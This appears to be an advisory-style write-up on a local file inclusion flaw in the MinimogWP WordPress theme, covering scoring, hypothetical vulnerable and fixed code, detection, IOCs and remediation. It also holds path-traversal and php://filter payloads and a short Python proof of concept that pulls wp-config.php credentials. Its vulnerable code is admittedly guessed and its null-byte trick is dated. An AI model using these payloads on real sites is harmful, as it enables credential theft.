CVE-2025-68062

Executive Summary

CVE-2025-68062 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the WordPress ecosystem, specifically the MinimogWP theme by ThemeMove. The vulnerability resides in improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading configuration files (e.g., wp-config.php), source code, or other system files. The CVSS score of 7.5 (High) reflects the ease of exploitation and potential for significant data exposure. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority unpatched threat.

Supply Chain & Package Security

This vulnerability affects a commercial WordPress theme distributed via ThemeForest and other marketplaces. Users who have purchased and installed MinimogWP are at risk. The supply chain risk is elevated because the theme is a third-party component within the WordPress ecosystem, and the vendor (ThemeMove) has not yet released a patch. Organizations should treat this as a potential supply chain compromise and consider disabling the theme until a fix is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Complete file read disclosure.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is remotely exploitable without authentication, and while it only affects confidentiality, the potential to read sensitive files like database credentials makes it a critical risk for any site using the theme.

Deep Dive & Mechanics

The vulnerability is a classic PHP Local File Inclusion (LFI) arising from the include() or require() function in the MinimogWP theme. The theme likely uses a dynamic parameter (e.g., page, template, or file) to load template parts or modules. If this parameter is not properly sanitized or validated, an attacker can inject path traversal sequences (e.g., ../../) to include arbitrary files from the server.

Example vulnerable code pattern:

<?php
$file = $_GET['template'];
include( 'templates/' . $file . '.php' );
?>

An attacker could request:

http://target.com/?template=../../../../etc/passwd%00

The null byte (%00) or other path traversal techniques may be used to bypass the .php extension append, allowing inclusion of non-PHP files. The result is that the contents of /etc/passwd are read and displayed.

WordPress Context: Since this is a WordPress theme, the vulnerable code is likely in functions.php or a custom template loader. The theme may use get_template_part() or a custom function that does not sanitize user input.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable pattern and the expected fix.

Vulnerable Code (Hypothetical):

<?php
// In functions.php or a custom loader
function minimog_load_template() {
    $template = $_GET['template'];
    include( get_template_directory() . '/templates/' . $template . '.php' );
}
add_action( 'init', 'minimog_load_template' );
?>

Patched Code (Expected):

<?php
function minimog_load_template() {
    $template = sanitize_file_name( $_GET['template'] );
    $allowed_templates = array( 'header', 'footer', 'sidebar' );
    if ( in_array( $template, $allowed_templates ) ) {
        include( get_template_directory() . '/templates/' . $template . '.php' );
    } else {
        // Handle error or load default
    }
}
add_action( 'init', 'minimog_load_template' );
?>

The fix involves:

1. Using sanitize_file_name() to remove path traversal characters.
2. Implementing a whitelist of allowed template names.
3. Avoiding direct user input in file inclusion functions.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install a local WordPress instance (e.g., using Docker or XAMPP).
2. Install MinimogWP theme version 3.9.6 or earlier.
3. Activate the theme.

Exploitation Steps:

1. Identify the vulnerable parameter. Common parameters in WordPress themes include page, template, section, or module. Use a wordlist or fuzzing tool.
2. Attempt path traversal:

   http://localhost/?template=../../../wp-config.php
   

   If the theme appends .php, try:

   http://localhost/?template=../../../wp-config%00
   

   or use a PHP wrapper:

   http://localhost/?template=php://filter/convert.base64-encode/resource=../../../wp-config
   

3. If successful, the contents of wp-config.php (including database credentials) will be displayed.

Proof-of-Concept (PoC) Script (Python):

import requests

target = "http://localhost/"
payload = "template=../../../wp-config%00"
url = target + "?" + payload

response = requests.get(url)
if "DB_NAME" in response.text:
    print("[+] LFI successful! Contents of wp-config.php:")
    print(response.text)
else:
    print("[-] LFI failed.")

Blue Team (Defense)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %00, php://).
• Look for requests to the theme directory with unexpected parameters.
• Use WAF rules to block ../ and null bytes in query strings.

Mitigation:

• Immediately disable the MinimogWP theme if no patch is available.
• Implement a Web Application Firewall (WAF) with rules to block LFI attempts.
• Restrict file inclusion to a whitelist of allowed files.
• Apply virtual patching via a WAF or reverse proxy.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../ or %00 in query parameters.
  • Requests to wp-content/themes/minimog/ with suspicious parameters.
  • Outbound connections from the web server to unknown IPs (if data exfiltration occurs).

• File System IOCs:

  • Unexpected inclusion of files like /etc/passwd, wp-config.php, or .env in web responses.
  • Presence of temporary files or logs indicating LFI attempts.

• Log IOCs:

  • Apache/Nginx access logs showing 404 or 200 responses for path traversal attempts.
  • PHP error logs with warnings about failed include() statements.

Remediation & Mitigation

1. Immediate Action: Disable the MinimogWP theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is released.
2. Vendor Contact: Reach out to ThemeMove for an official patch. Monitor their changelog or support forums.
3. Virtual Patching: If disabling the theme is not possible, implement WAF rules to block path traversal and PHP wrapper attacks.
4. Code Hardening: If you have access to the theme source code, apply the whitelist and sanitization fixes described in the "Vulnerable vs. Patched Code" section.
5. Monitoring: Enable detailed logging for web requests and review logs for suspicious activity.
6. Backup: Ensure recent backups are available in case of compromise.
